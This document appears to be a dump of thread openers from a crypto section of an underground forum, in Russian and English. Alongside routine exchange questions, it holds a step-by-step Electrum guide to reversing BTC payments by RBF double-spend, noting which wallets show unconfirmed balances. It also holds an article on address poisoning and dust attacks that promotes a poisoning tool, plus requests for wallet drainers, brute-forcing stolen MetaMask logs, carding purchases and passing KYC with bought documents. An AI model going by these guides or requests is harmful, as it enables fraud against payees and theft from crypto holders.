Например мы влетели по цене 1$, после нас залетают и выкупают уже монету по 1.05-1.10 - вот мы им и гарантированно так сказать ее продаем по цене 1.10
Каналов таких с сигналами ебем (отобрать самые жирные)
В общем спец который умеет писать такого рода боты может иметь постоянный +

Click to expand...

Мне как разработчику не сложно реализовать подобного бота, но я никогда не интересовался криптотрейдингом, поэтому проблема именно с тем, чтобы найти подходящие каналы.

Может кто-то порекомендовать крупные, приватные каналы/группы с сигналами и живой аудиторией? В случае успешного тестирования гипотезы, со своей стороны, обещаю написать о результатах и тонкостях реализации

Быстрый способ обмена EVM to XMR?
ID: 67686ad7b4103b69df3796c9
Thread ID: 123096
Created: 2024-09-19T21:24:43+0000
Last Post: 2024-09-20T14:03:06+0000
Author: TrafficDevil
Replies: 5 Views: 833

Приветствую. Интересует наиболее быстрый и максимально безопасный(без KYC и прочих блокировок) способ обмена чистого EVM(нативный/монеты - без разницы) на XMR. Под словом "чистого" подразумеваю нулевой AML.
К примеру, обменник fixedfloat - меняет очень быстро, но направление с xmr часто на обслуживании + также есть вероятность попасть на KYC(хотя на моём опыте не было). Ликвидность, порой, тоже приходится ждать.
Другие обменки с беста - постоянная рулетка. В любой момент лок и также запрос KYC верифа.

Может кто знает такие же шустрые обменники как ff или более интересный способ?

Крипта и Анонимность
ID: 67686ad7b4103b69df3799ec
Thread ID: 55513
Created: 2021-08-18T19:35:54+0000
Last Post: 2021-08-31T16:00:06+0000
Author: NYF
Replies: 12 Views: 830

Привет всем, я ламер в крипте, прошу сильно не пинать. Допустим есть немного кеша на моей банковской карточке.
Как в 2021 оптимальнее всего купить биток и не связать свой кошель со своей персоной?

Вижу следующие кейсы:
Боты в телеге - хрен знает кто их держит, да и дикие комиссии на вывод, от 500р за транзакцию(или это норма для крипты?)
Криптобиржи - в большинстве своем требуют верификацию. Возможно я плохо искал - тогда посоветуйте нормальную биржу
Прямой обмен - тут вроде бы все хорошо в плане анонимности, но можно остаться и без крипты и без денег
Намайнить - вроде бы хороший варик, но долго

Может что-то упускаю из виду? Наставьте плз на путь истинный

Crypto Trading Bot
ID: 67686ad7b4103b69df3797df
Thread ID: 98009
Created: 2023-09-13T20:40:52+0000
Last Post: 2023-10-10T10:19:11+0000
Author: Ozaki
Replies: 10 Views: 830

Hey lads,

What is the most value crypto bot ( value not for money but mostly for bots/strategies included ) by your opinion ?
I was thinking to go with 3commas but i dont know how safe it is after the hack last year.

Нужны ноды )
ID: 67686ad7b4103b69df3797f4
Thread ID: 96354
Created: 2023-08-23T04:20:46+0000
Last Post: 2023-09-01T02:57:59+0000
Author: triblekill
Replies: 18 Views: 821

Здрасте, нужны ноды ETH, BTC то есть например отправляю запрос http://ip/адрескошелька возвращает баланс я бы конечно поискал на shodan но там сейчас платный доступ поделитесь буквально парочкой у кого есть возможность, хотелось бы чтобы в 1-2к потоков ещё работали, но даже и меньше тоже сойдёт =)

BitCart — платежи в крипте без KYC
ID: 67686ad7b4103b69df379708
Thread ID: 118354
Created: 2024-07-07T14:09:20+0000
Last Post: 2024-07-09T10:51:20+0000
Author: RedCap
Replies: 3 Views: 819

Всех приветствую. На форуме, да и на просторах интернета не нашел информацию на русском языке об установке платежной системы BitCart и ее использовании. Данную платежную систему можно развернуть у себя на сервере и принимать платежи в различных криптовалютах, например в BTC, LTC, XMR, TRX, USDT TRC20, ETH и так далее. У Вас будет доступ к кошелькам, не нужно проходить никаких KYC и никто не будет у Вас брать никакие комиссии (за исключением комиссии сети само собой)

Как отменить отправленную транзакцию BTC
ID: 67686ad7b4103b69df37970a
Thread ID: 72294
Created: 2022-08-27T02:40:54+0000
Last Post: 2024-07-05T10:25:22+0000
Author: lacalut222
Replies: 4 Views: 816

этой статье хочу поделиться методом отправки и отмены транзакции BTC до первого подтверждения.
!!!Работает только до прохождения транзакцией первого подтверждения!!!
.....................................................................................................................................................................................................................................................................................

Кошельки, которые рисуют баланс до первого подтверждения транзакции:Exodus, Blockhain, Atomic
.....................................................................................................................................................................................................................................................................................

_Введение

В этой статье будет рассказанно о том, как можно через кошелек Electrum отправить BTC и спустя определенное время отменить свою транзакцию и получить деньги обратно. Всем известно. что время прохождения первого подтверждения зависит от двух факторов: загруженности сети и выставленной комиссии (то есть приоритета транзакции в сети). Соответвенно. выставляется комиссия в 1sat/vB, после делаем отмену платежа, создавая новую транзакцию с комиссией больше. В mempool**' е п**осле этого первая транзакция будет заменена второй, тк новая комиссия перебивает старую. Не рекомендуется делать при загруженности сети в менее чем 5000 неподтвержденных транзакций (будет мало времени на отмену).

Разберемся с Electrum 'ом

Официальный сайт для скачивания: https://electrum.org_

**Скачиваем, устанавливаем, после этого начинается создание кошелька.

После скачивания видим такое окно:**
1.png

**Называем кошелек как вам угодно и нажимаем далее.

Выбираем стандартный кошелек. Если вы выберете кошелек с 2fa, то у вас автоматически спишет коммисию при первом же пополнении кошелька.

2.png

Далее SEED фраза. SEED фраза - набор из случайных 12,18 или 24 английских слов, который используется для восстановления криптовалютного кошелька и средств. В этом меню выбираем наиболее подходящее для вас.
3.png
SEED-фразу обязательно куда-то сохраняем, это нужная штука.**

4.png

В следующее окно вводим полученную раннее SEED-фразу.
5.png

Придумываем пароль кошелька, его стоит запомнить. Для сравнения это как пин- код при входе в онлайн-банкинг, нежн для подтверждения транзакций при входе и тд. Однако SEED _'**_ ка куда важнее, вход на другом устройстве осуществляется именно по ней.

6.png

Кошелек создан, готово!

Настройки кошелька**
7.png

Инструменты → Настройки → Транзакции
8.png

**Подключение пакетных транзакций RBF откроет возможность изменять комиссию транзакций.

Инструменты → Настройки → Валюта

Для удобства выставляем доллар как фиатную валюту.
9.png

Пополнение кошелька

Получение → Создать предложение**

10.png

Получаем адрес для пополнения.
11.png

Отправка и отмена платежа

После того, как кошелек был настроен и пополнен, можно приступать к отпраке, ну соответственно и отмене платежей.

Отправка → Вводим нужный адрес → Вводим сумму (из-за подключения фиатной валюты можно указывать сумму в ней, это удобно)

12.png

Нажимаем кнопку [Оплатить...]. **Появится такое окно:

13.png

В нем нажимаем [Дополнительно]
Откроется такое окно (скрин ниже). В нем выставляем минимальную комиссию (1sat/vB). После чего нажимаем [Завершение]**

13.png

После чего нажимаем [Подписать], вводим свой пароль в открывшемся окне. После этого станет доступна кнопка [Разослать].

13.png

**Транзакция отправлена!

История** **→ Находим последнюю транзакцию (Unconfirmed) → Нажимаем правой кнопкой мыши → Отменить (двойная трата)

14.png

Открывается такое окно:**

15.png

Тут выставляем новую ставку комиссии, превышающую предыдущую.
В следующем окне опять подписываем паролем и разсылаем (как при отправке).
16.png

__**Поздравляю, транзакция развернулась на ваш кошелек!

Про mempool**__
Время подтверждения транзакции зависит от загруженности сети. Как ее узнать, как примерно рассчитать время?
Сайт для отслеживания загруженности: https://mempool.space/

При открытии сайта видим следующее:
17.png

Нас интересуют приоритеты и кол-во неподтвержденных транзакций.

**Неподтвержденных транзакций должно быть >3000
Medium Priority >1sat/vB

Тогда у вас смело будет около 20-30 минут.**

Заработок на Тг боте (SHIBA)
ID: 67686ad7b4103b69df3799b6
Thread ID: 58863
Created: 2021-11-14T13:23:49+0000
Last Post: 2021-12-14T09:32:00+0000
Author: j0mbrade
Replies: 12 Views: 811

Всем привет
Есть бот в телеграмм который каждый час раздает по 1к Shiba
Нам нужен:

  1. Сам телеграм
  2. Любой криптокошелек чтобы можно было хранить SHIBA , у меня Trust Wallet

Заходим вот сюда:
1. https://t.me/BountyCryptoClub_bot?start=1387523028 (реф)
2. https://t.me/BountyCryptoClub_bot ( не реф )

Но есть одна проблема , у вас в боте могут не появится ссылке на какие каналы нужно подписаться , поэтому придется перейти по реф ссылке

Но каждый час не всем понравится тыкать на кнопку получить SHIB
Поэтому можно отправлять сообщения через время.

Нужно скопировать Получить SHIB , и потом вставить его в окно отправки сообщения нажать на стрелку для отправки ПКМ
И там будет Отправить позже

IMG_20211114_161545_352.jpg
Потом выбираем время каждый час отправки и число

IMG_20211114_161548_411.jpg
Вот вывод , вывод очень быстрый
IMG_20211114_161551_728.jpg
На этом всё, всем удачи

Generate more money (BTC)
ID: 67686ad7b4103b69df3797cc
Thread ID: 101370
Created: 2023-10-31T13:35:07+0000
Last Post: 2023-11-07T18:58:30+0000
Author: stars4
Replies: 13 Views: 809

hello , I am looking for someone who can explain to me or help me multiply my bitcoins, I mean generate more bitcoins from the ones I have, I currently have $200 for this purpose, if someone can help me with this I will give them a percentage of the profits :smile10::smile50:

no scammers please

Копитрейдинг | Есть слитые курсы ?
ID: 67686ad7b4103b69df37969c
Thread ID: 125826
Created: 2024-10-29T21:33:21+0000
Last Post: 2024-11-05T20:12:05+0000
Author: King_Working
Replies: 9 Views: 807

Привет
Есть какие то дорогие слитые курсы с качественной инфой по копитрейдингу ?
Поделитесь пожалуйста
Спасибо и всем фарту !

Нал usd - BTC/USDT
ID: 67686ad7b4103b69df379a2d
Thread ID: 50795
Created: 2021-04-19T12:48:11+0000
Last Post: 2021-04-23T08:49:37+0000
Author: asd228
Replies: 1 Views: 807

Кто может обменять нал доллары на крипту. Рф

Не блокируемость DAI
ID: 67686ad7b4103b69df379a0b
Thread ID: 52692
Created: 2021-06-09T15:34:28+0000
Last Post: 2021-07-15T02:59:48+0000
Author: baykal
Replies: 1 Views: 807

Везде широко пиарится, что стейблкоин DAI не блокируемый и в смартконтракте не имеет функционала для лока и возврата средств
А кто-то вообще детально читал смартконтракт DAI? Изучал его досконально?

medium.com

[ Don’t Lose your DAI! The How, Why, and What Guide to the New MakerDAO

](https://medium.com/mosendo/dont-lose-your-dai-the-how-why-and-what-guide-to- the-new-makerdao-50f098f40a32)

On November 18th, 2019, the MakerDAO system will transition from Single Collateral DAI to Multi-Collateral DAI. What does that mean and…

![medium.com](/proxy.php?image=https%3A%2F%2Fmiro.medium.com%2Fv2%2F1%2Am- R_BkNf1Qjr1YbyOIJY2w.png&hash=fcf6cbc7a11ecd9e7b49ae64b7b9adbc&return_error=1) medium.com

TON вырос в два раза
ID: 67686ad7b4103b69df37975e
Thread ID: 110636
Created: 2024-03-17T19:09:08+0000
Last Post: 2024-03-22T11:04:10+0000
Author: AlwaysP
Replies: 12 Views: 800

TON растет только вверх)
340 рублей за 1 ТОН сейчас

Стоит брать на долгосрок? будет расти?

Simple explanation: Address Poisoning, Crypto Dust, Zero Transfer attacks and other methods.
ID: 67686ad7b4103b69df37966b
Thread ID: 126741
Created: 2024-11-12T14:59:38+0000
Last Post: 2024-12-12T00:15:42+0000
Author: stormstorm
Prefix: Статья
Replies: 3 Views: 799

Here is a very simple to understand introduction to a new rising crypto attack methods.

Address poisoning: this is also known as address spoofing, its an attack whereby a particular address is imitated by creating a fake new address to look like the particular target address.
This method focuses on copying the beginning (prefix) and ending (suffix) parts of an address.
This attack method tricks crypto users to think they are transacting with original addresses not knowing its an attack address.

Here's a brief example: on the Ethereum blockchain all wallet addresses are 42 characters long and they contain alphabet letters and numbers.

Example of a Ethereum wallet address: 0x71C7656EC7ab88b098defB751B7401B5f6d8976F

Most crypto wallets only show few characters of any particular address. When address poisoning is done to the address above to create a fake spoofed address it'll look something like this:

0x71C7656slmjeu29Ojr0937993772nnskd6d8976F

Many wallets will display the address like this 0x71c7656.......d8976F

You can see the prefix and suffix both changed after the address poisoning, with this spoofed address it'll be much easier to fool and trick many crypto users.

Attackers monitor the blockchain for transactions before some of the methods can be used.

With address poisoning you can perform series of crypto attacks. Address poisoning is used to imitate real addresses.
Everyday, billions of $$$ in crypto are sent and received by millions of crypto users.

1. crypto dusting attacks
2. zero-value transfer attacks
3. Sybil attacks
4. Fake Token Attacks
5. Transaction interference attacks.
6. Crypto Phishing attacks.

Here's a brief explanation of each crypto attack type.

1. Crypto Dust Attacks : This involves sending tiny amounts of legitimate cryptocurrency to a target.
The idea is to trick users into transferring money to the attacker's spoofed address rather than the one belonging to the real receiver.
The resemblance between the fake address and the real one is used in this method of address poisoning.

2. Zero-value Transfers Attacks: As the name suggests, these attacks involve sending zero-value transactions to your target wallet.
While these transactions may seem harmless, they serve the sole purpose of populating your transaction history with the scammer's malicious address, setting the stage for potential future mistakes. Zero-value are possible on Ethereum and EVM blockchains because of the "approve and transferFrom functions".

Most tokens like USDT allow 0 amount to be transferred out from any address, it'll appear on the blockchain alongside your spoofed address.

3. Sybil Attacks: this attack is mostly used when projects are launching or airdrops are taking place.
This method can be used for much more. Sybil attacks is one where a single node or multiple nodes are used to operate many active fake crypto identities (or spoofed address identities) simultaneously, within a peer-to-peer network. This fake identitues are spoofed addresses from address poisoning.
This type of attack is used to undermine the authority or power in a reputable system by gaining the majority of influence in the network.
With address poisoning multiple addresses can be used for attacks, example is spoofing smart contracts of legitimate projects.
The goal is to trick network participants into believing that each node is a separate participant, when in reality a single attacker controls many of the nodes.

4. Fake Token Attacks: this includes fake NFTs and fake tokens.
This method involves making a fake token of a legitimate cryptocurrency token.
Most people who make fake tokens don't spoof the contract address associated with fake token. With address poisoning its possible to spoof any smart contract address.
This deception can make the transaction appear legitimate at first glance, increasing the chances of users falling for the scam.

5. Transaction Interference Attacks: this method works best with intrusion into a system or network.
This method means a system/network has malware such as RATs, keyloggers and Trojans in it. Attackers intercept valid cryptocurrency transactions and change the destination address. Funds to be sent for the genuine receiver are diverted by changing the receiver address to the spoofed address under the attacker's control. This kind of attack frequently involves malware compromising a user's device or network or both.

6. Crypto Phishing Attacks: with address poisoning crypto phishing attacks can be highly successful.
Crypto phishing involves building fake phony websites that look exactly like a legitimate crypto business, phishing emails or communications that closely resemble reputable companies like cryptocurrency exchanges or wallet providers. With address poisoning its easier to trick users of different projects.

Heres an example of how this works:
Lets use one of the top prominent crypto Defi projects called 1inch.
1inch has more than $500billion USD in transactions, with more than 3.2million liquidity partners and more than 17million users.
1inch has a very famous crypto address which is: 0x111111111117dC0aa78b770fA6A738034120C302

This address is known in the crypto world because of the eleven 1s it has at the prefix.

With address poisoning and website/email phishing its easier to fool people to think you own the legitimate address.
This method can be very successful if planned well.

The crypto market is in a bullish market trend, this type of market is the best opportunity to perform loads of attacks with very high profitable success to be made.

This is possible because of the high volume with the huge traffic of transactions during bullish markets.

This attacks can also be successful in a bearish market with low volume too.

During bullish market many projects launches with lots of airdrops, memecoins explode and go extremely wild with billions of $$ in transactions.
These conditions are juicy for the attacks.

Theres so much more Address poisoning can be used for.
Address poisoning is not limited to the attacks above, it can be used for so much more.

To be able to perform address poisoning and the other attacks you need powerful ready-made tools.
One of such tools is the Pink Crypto Address Poisoning Tool.
You can use this tool for successful hits based on the above methods and much more.
It comes with step by step guidelines and tutorials.
It is a zero-code tool which means even beginners can easily make use of.
Check it out now.
Pink Crypto tool

To understand much better how to use address poisoning to make serious profits, I'll write another article on the topic of making profits with this address poisoning methods above.

In the meantime you can start address poisoning with the Pink Crypto tool.

Льем Флэш бтц.
ID: 67686ad7b4103b69df3797d0
Thread ID: 97381
Created: 2023-09-05T21:22:18+0000
Last Post: 2023-11-05T16:31:54+0000
Author: santa22
Replies: 2 Views: 798

Льем Флэш бтц. Кто в теме и знает куда пристроить, без воздуха, Велком в ТГ
@stable_online_22

Евро в крипту
ID: 67686ad7b4103b69df37974e
Thread ID: 111647
Created: 2024-03-31T12:43:29+0000
Last Post: 2024-04-09T07:32:34+0000
Author: chupik08
Replies: 7 Views: 797

Приветствую, подскажите пожалуйста европейский обменник или сервис , надо с банка commerzbank вывести одной транзакцией 30к€ в крипту . Может кто сталкивался или знает как это красиво все сделать с минимальными потерями .
Кто дельный совет даст или поможет . Отблагодарю хорошим %
Банком полностью владею , все верификации пройду спокойно при переводах .

Binance блокировка аккаунта
ID: 67686ad7b4103b69df379688
Thread ID: 126127
Created: 2024-11-03T12:31:51+0000
Last Post: 2024-11-24T07:14:24+0000
Author: Cripo
Replies: 4 Views: 795

Суть проблемы в том, что на акк не мог завести крипту.
После общения с суппортом, сообщили что требуется ответы на вопросы(на них ответил) плюс документы предоставить
Какими документы (ИЗ ПРАКТИЧЕСКОГО ОПЫТА) вы закрывались?( с точки зрения отрисовки)
photo_2024-11-03_14-19-11.jpg

Просьба.
Не плодить предложения из области прочитай список документов и выбери сам.
Документов много, а вот каких их проверяют-не знаю.

Какая централизованая биржа на данный момент наиболее актуальная для транзакций с Monero ?
ID: 67686ad7b4103b69df379799
Thread ID: 105916
Created: 2024-01-15T21:19:18+0000
Last Post: 2024-02-04T19:35:21+0000
Author: Carbon
Replies: 9 Views: 793

Парни после недавнего делистинга нашей любимой XMR с OKX ,на котором был удобный p2p раздел и минимальная комса на вывод XMR (0.2-0.3 $)
Задался вопросом ,где покупать левый акк ?на какой бирже ? ибо OKX больше не актуален для работы с Монеро
Есть постоянная потребность покупки на 1000-2000 $ дол в XMR для различных платежей
На бирже должен быть развит P2P раздел, для завода фиата с левых карт для откупа
Важна более менее лояльная политика по KYC&AML, чтобы не было банов постоянных за транзы ( на OKX за 1.5 года прецендентов не было)
Также важны приемлемые комисии на вывод
По данным coinmarketcap, XMR торгуется на следующих более менее известных СEXs c более менее ликвидным рынком-
HTX ,Gate.io ,Kucoin,Poloniex ,Mexc ,Kraken,Bitfinex (Binance с их вырванной политикой KYC&AML не рассматриваю )
У кого какой опыт на данных площадках?куда лучше переезжать ?

Брут metamask
ID: 67686ad7b4103b69df37994e
Thread ID: 64108
Created: 2022-03-10T20:22:51+0000
Last Post: 2022-06-17T12:17:22+0000
Author: жиган лимон
Replies: 8 Views: 791

Требуется профессионал своего дела!!
За год работы накопилось очень много
Кошельков-metamask с балансами от 1к$ до 80к$ на счету (без пасса)
В работу буду отдавать только хеш и пассворд.тхт - кто хочет попробовать свои силы welcome лс за инфой.
Логи все собственного пролива.

Electrum вопрос по кешельку
ID: 67686ad7b4103b69df3796e8
Thread ID: 121069
Created: 2024-08-19T22:23:16+0000
Last Post: 2024-08-20T04:43:04+0000
Author: clackbunny
Replies: 2 Views: 788

Всем привет, скачал вроде последнюю версию Electrum с офф сайта но там при отправке транзы остаток бтц перекидает на адреса для сдачи, обрыл все настройки и не понимаю как настроить его. Помню в версии 4.1.1 вроде были все настройки но много где пишут что они с дыркой и могут увести биток. Помогите советом, спасибо.

SEPA to Crypto - Crypto Exchanger / Crypto Exchanging Service wanted
ID: 67686ad7b4103b69df3798db
Thread ID: 76207
Created: 2022-11-19T19:20:36+0000
Last Post: 2022-12-08T19:13:20+0000
Author: YigYig502
Replies: 3 Views: 787

hello all,

At this point we are looking for a crypto exchanger / crpyot exchanging service that will exchange SEPA transfers to cryptocurrencies for us. We only work with larger sums (100K+ EUR) and are interested in long-term contacts.

What do we expect from you:

- Acceptance of larger sums should be no problem
- Instant Exchange
- Good accessibility and fast, clear communication

We have been in this business for a very long time, so don't even try to rip us off. If you are interested or can help us, please contact us at any time.

Skype, Jabber and Telegram are possible.

каналы с сигналами
ID: 67686ad7b4103b69df379770
Thread ID: 106284
Created: 2024-01-20T18:08:53+0000
Last Post: 2024-03-11T15:24:53+0000
Author: Skalen
Replies: 6 Views: 782

Всем привет, посоветуйте хорошие платные каналы по крипте, с рекомендацией по споту по монетам в целом и по фьючам

delete
ID: 67686ad7b4103b69df379a42
Thread ID: 47078
Created: 2021-01-21T19:38:21+0000
Last Post: 2021-01-22T11:30:54+0000
Author: Pirone
Replies: 5 Views: 780

delete

Вопрос по уязвимости смар-контракта
ID: 67686ad7b4103b69df3798c3
Thread ID: 78799
Created: 2022-12-26T11:06:17+0000
Last Post: 2023-01-12T01:01:58+0000
Author: potriyna
Replies: 5 Views: 780

Всем доброго времени суток !
Читал тут на форуме статьи об уязвимостях смарт-контрактов и очень эти заинтересовался. В конце лета сам делал небольшие проекты, и мне сильно досаждали люди находившие уязвимости в моих контрактах, начитавшись тут информации решил вернуться к этой теме.
Проектов делал много, но не могу уже найти все контракты, скину лишь несколько, думаю этого хватит для понимания.
Есть вот такие контракты, они одинаковы - https://bscscan.com/address/0x97faee7e7e8085abb3be0d7ccb3e839098ad3226 , https://bscscan.com/address/0xe35b922c21b9d64c03f5e9822254f7c18567f3e1
Суть контракта в том, что ты кидаешь депозит и получаешь 13% в сутки от суммы депозита, также можно реинвестировать накопленные проценты (это скам контракт, владелец в любой момент может вывести всю сумму себе на баланс). И был кошелек который, мог кинуть пол доллара на контракт и через несколько часов вывести почти все или все накопления (проценты выплат) всех остальных "инвесторов".
Был случай когда я запустил проект, закупил рекламу и мне надепали примерно 40 бнб за несколько часов, этот нехороший человек тоже депнул около 1$ и спустя несколько часов снял ~1.2bnb, при этом со своего второго кошелька я тоже сделал вывод для теста, и сумма выплаты получилась намного меньше ожидаемой, исходя из этого я и подумал что он забирает себе % выплат других пользователей.
В своих следующих проектах я сразу кидал его и нескольких других багхантеров в блэк контракта, только это помогло (хотя не понимаю почему бы им не воспользоваться другими кошельками, но они этого не делали)

Кошелек человека который меня кошмарил - https://bscscan.com/txs?a=0xe4f07afdb3836be4e099068a99e32491bce88d79&p=51 Было много других кто также делал на других моих контрактах, но сейчас уже не могу найти, почти пол года назад это было
По транзакциям можно посмотреть что он выводил все сюда - https://debank.com/profile/0xe56f54695af8e38f4029398315c48bd5e8c064fc/history а зароботок его был ~500-1500$ в день когда проекты такого типа сильно хайповали.
Там были и другие, но этот прям больше всего. Еще он находил мои контракты еще до запуска рекламной кампании, думаю мониторил сеть bsc на новые контракты и уязвимости в них. Видно что у него 11к транз и почти это связано с контрактами типо моего.

Собственно вопрос :
Как он это делает ?
Сейчас такие проекты уже использую немного измененные контракты и актуальность этот способ потерял, но мне интресно разобраться, у самого никак не получается.

Дополнение :
На скринах видно что он кидает 5 транзакций по 0.01 бнб и через сутки снимает 0**.** 032, что сильно выше чем должно было быть.
А второй кошелек не взаимодействовал с контрактом и сразу сделал вывод. ( https://bscscan.com/address/0x8f5fee7d3f61a9639127199d0966eba12391b719 )
1672055168339.png
1672055108304.png

Кто вкатился уже в это *** ?
ID: 67686ad7b4103b69df379a22
Thread ID: 51783
Created: 2021-05-14T19:19:42+0000
Last Post: 2021-05-14T21:58:48+0000
Author: yashechka
Replies: 1 Views: 780

![www.rbc.ru](/proxy.php?image=https%3A%2F%2Fs.rbk.ru%2Fv2_crypto_static%2Fcurrent%2Fimages%2Fsocial- icon-v1.png&hash=a2baafae1a4e61715c3207c27124c26d&return_error=1)

[ Компания The9 заплатила за оборудование для майнинга Chia Coin $5,7 млн

:: РБК.Крипто ](https://www.rbc.ru/crypto/news/609e7cb99a7947f808a92fcc)

Китайский разработчик компьютерных игр получит 146 тыс. терабайт дискового пространства, которое будет использовано для добычи криптовалюты

www.rbc.ru www.rbc.ru

P.S. Они там что все чокнулись?

WEX налят на HitBTC
ID: 67686ad7b4103b69df3797f8
Thread ID: 76546
Created: 2022-11-24T08:09:17+0000
Last Post: 2023-08-28T18:56:39+0000
Author: crx
Replies: 3 Views: 778

Выводите с HitBTC, если храните там.

Buying btc w unverified account CC + OTP Enough
ID: 67686ad7b4103b69df379a6b
Thread ID: 41595
Created: 2020-09-01T03:45:16+0000
Last Post: 2020-09-01T05:24:27+0000
Author: fallenx
Replies: 1 Views: 777

hi guys u can buy btc with cc without account verification .
you can buy maximum 299 euro with same card in a row
it need mail verification and btc wallet adress
after payment u can take instantly
1598931802118.png

Стейкинг
ID: 67686ad7b4103b69df3796df
Thread ID: 121381
Created: 2024-08-24T20:56:16+0000
Last Post: 2024-08-29T23:38:16+0000
Author: Delphi
Replies: 4 Views: 777

приветствую кто нить пользовался в популярных криптокошельках данной фунцией ? И есть ли шанс скама?

Че там по China
ID: 67686ad7b4103b69df379a26
Thread ID: 51307
Created: 2021-05-01T12:15:24+0000
Last Post: 2021-05-08T03:50:17+0000
Author: Ingiborga
Replies: 1 Views: 773

Специализируюсь на хостинг услугах, стал наблюдать что сервера у того же Hetzner ДЦ с дисками от 6ТБ раскупают и цены повышаются.
Думаю закупить серваки с большими хардами пока еще есть смысл. Да вот очкую чет, не прогадать бы.
Я да же не собираюсь майнить эту валюту, просто потом селить услуги хостинга по выгодной цене.
Куда катимся :confused: И так при разбивке сервера на VPS упор в харды идет а не в ОЗУ последнее время. А тут еще и это

Flash btc transaction
ID: 67686ad7b4103b69df379a07
Thread ID: 51356
Created: 2021-05-03T17:20:26+0000
Last Post: 2021-07-28T07:23:17+0000
Author: Spidr1
Replies: 3 Views: 770

Hello everyone,
do anyone know how to send flash fake btc transfers?

Exchanging gift cards through cryptos
ID: 67686ad7b4103b69df379855
Thread ID: 86346
Created: 2023-04-20T22:35:23+0000
Last Post: 2023-05-25T12:04:36+0000
Author: TheBadeut
Prefix: Статья
Replies: 9 Views: 767

In the past a legit platform that did this exchange was paxful but now is down. Someone can suggest a platform for this transactions ?
(a like to the thread will be much appreciated)

Верификация на Fragment
ID: 67686ad7b4103b69df379661
Thread ID: 128235
Created: 2024-12-04T19:20:04+0000
Last Post: 2024-12-18T09:19:39+0000
Author: TwistedJustice
Replies: 7 Views: 766

Самый простой способ обойти/анонимно пройти KYC на Fragment?
Я пробовал поискать такое as a service, не нашел.
Конечно, можно просто купить за сто рублей документы и попробовать втупую, но, может, есть варианты попроще?

Требуется информация о межбиржевом арбитраже.
ID: 67686ad7b4103b69df3798d4
Thread ID: 78121
Created: 2022-12-14T23:25:30+0000
Last Post: 2022-12-21T16:05:07+0000
Author: Sokoliatko
Replies: 13 Views: 766

Всем привет!

Тут я новенький и зарегистрировался относительно недавно, форум пиздатый, решил остаться и заводить новые знакомства, получать крутые знания. Поэтому, если что-то не так написал - прошу не строчить в комментах, что я нихуя не понимаю, а просто объяснить что не так.

Перейду к сути дела. Есть люди, заинтересованные в межбирж арбитраже криптовалюты, как заработке. Дадут деньги на оборот (Объем суммы зависит от успешности заработка, сейчас на руках есть 200$, для теста и набития шишек). В конечном итоге планируется выделить 3-5к$, но это при условии, что все будет ахуенно и надежно, как швейцарские часы.

Но, все мы понимаем, что все оно так не будет сладко, а по началу так уж точно. Ютубчика, где выкладывают видео, в которых спред +-1%, и сайтов, где суть одна и та же, но написано разными словами явно недостаточно. Даже мамонту понятно, что лутабельная инфа так просто не достается. Возможно, 1% - это и есть приемлемый спред, я этого не знаю, потому и пишу сюда.

В общем и целом, прошу накидать любой инфы: какие-то каналы, мануалы, советы, ботов, личный опыт и тому подобное, ибо самому искать с нуля - это нужно перелопатить хуеву тучу инфы. Если есть какие-то предложения - пишите, все рассмотрю и отвечу. Возможно, вы бы хотели просто стать моим наставником, а я буду делиться процентами от прибыли. Опять же, проценты будут хорошие с моей стороны, так как это будет разумнее, чем спустить в унитаз даже тестовую сумму. Понятно, что тупо сейчас обещать на анонимном форуме свою доброчестность, но за свою сторону я в ответе. Для вас - это пассивный заработок, для меня - прибыльная и непыльная работа. В случае с наставником, я буду доволен еще больше, так как общение с живым человеком - это лучшая форма обучения.

Продавать мне ничего не нужно, хоть я и зеленый, но не тупой (вроде).

Всем добра, мира и хорошего настроения.

Ищу дрейнер на TON, есть мамонты
ID: 67686ad7b4103b69df379725
Thread ID: 113974
Created: 2024-05-06T13:33:37+0000
Last Post: 2024-05-30T11:58:46+0000
Author: LVscam
Replies: 2 Views: 762

Всем ку, нужен работающий дрейнер на TON под норм % готов заводить, есть трафик. пишите в тг @funcTG1337

Крипто-процессинг без KYC
ID: 67686ad7b4103b69df379858
Thread ID: 87238
Created: 2023-05-03T20:56:22+0000
Last Post: 2023-05-22T21:36:48+0000
Author: FrankSinatra
Replies: 8 Views: 762

Привет. Подскажите какие имеются сервисы по приему различных крипто монеток (наиболее популярные: BTC / ETH / LTC / Stablecoins / BNB / ADA и т.п.) с возможностью подключения своих проектов по API, желательно без KYC.
Есть coinpayments, но по некоторым причинам не подходит.
Westwallet неплохой, нет KYC и т.п., но работают не стабильно, часто монеты отключаются и ряд других проблем.
В поиске нового решения.

web3 scams
ID: 67686ad7b4103b69df379693
Thread ID: 126333
Created: 2024-11-06T01:21:49+0000
Last Post: 2024-11-12T01:00:55+0000
Author: ParSchiz0
Replies: 6 Views: 761

hey everyone im looking for to work with who can manage landings and are expiernce ind crypto scams what have i got private mac os andwindows rat and a drainer i going to manage smart contracts crypting if malware but need someone to partner up with landings

cheers

как работает BTC миксер?
ID: 67686ad7b4103b69df379849
Thread ID: 88632
Created: 2023-05-22T21:27:23+0000
Last Post: 2023-06-04T11:35:24+0000
Author: merisay
Replies: 8 Views: 760

вопрос в названии темы.
размешивают ли мои монеты с монетами других клиентов сервиса?
реализация исключительно в перемешивании монет на пустые адреса? либо есть какие-то дополнительные варианты работы?
разве тяжело отследить по блокчейну куда ушли монеты, если они с кошелька Х перешли на кошелек У, помоему легко установить связь пройтись по цепочке установив конечного адресата?

Blockchain
ID: 67686ad7b4103b69df379716
Thread ID: 117271
Created: 2024-06-21T05:53:23+0000
Last Post: 2024-06-21T11:41:55+0000
Author: Zalko
Replies: 10 Views: 759

Подскажите пожалуйста, у меня акаунт от блоечейна есть но там стоит двухфакторка, но на почту сейчас не имею доступа! Можно как то попасть на кошелек?

Найти все токены в распоряжении аккаунта
ID: 67686ad7b4103b69df3797e0
Thread ID: 99096
Created: 2023-09-30T01:36:13+0000
Last Post: 2023-10-07T18:17:40+0000
Author: 0africa
Replies: 19 Views: 758

Взломал кошелек метамаска, имеется сид и приватные ключи.
Есть ли какая-нибудь тулза для сканирования всех токенов под данным аккаунтом? Как на автомате найти все токены на всех чейнах для этого аккаунта?

Аирдроп от Дурова? Notcoin
ID: 67686ad7b4103b69df37978b
Thread ID: 105043
Created: 2024-01-03T18:11:51+0000
Last Post: 2024-02-16T08:27:20+0000
Author: Besek
Replies: 4 Views: 758

Приветствую форумчане, всех с новым наступившим 2024 годом!
"В любимом мессенждере Telegram" набирает популярность монетка от Дурова и его бот (кликер) https://t.me/notcoin_bot, может быть у кого-то сложилось какое- то мнение по этому поводу, есть ли перспективы в этом, интересно мнение других
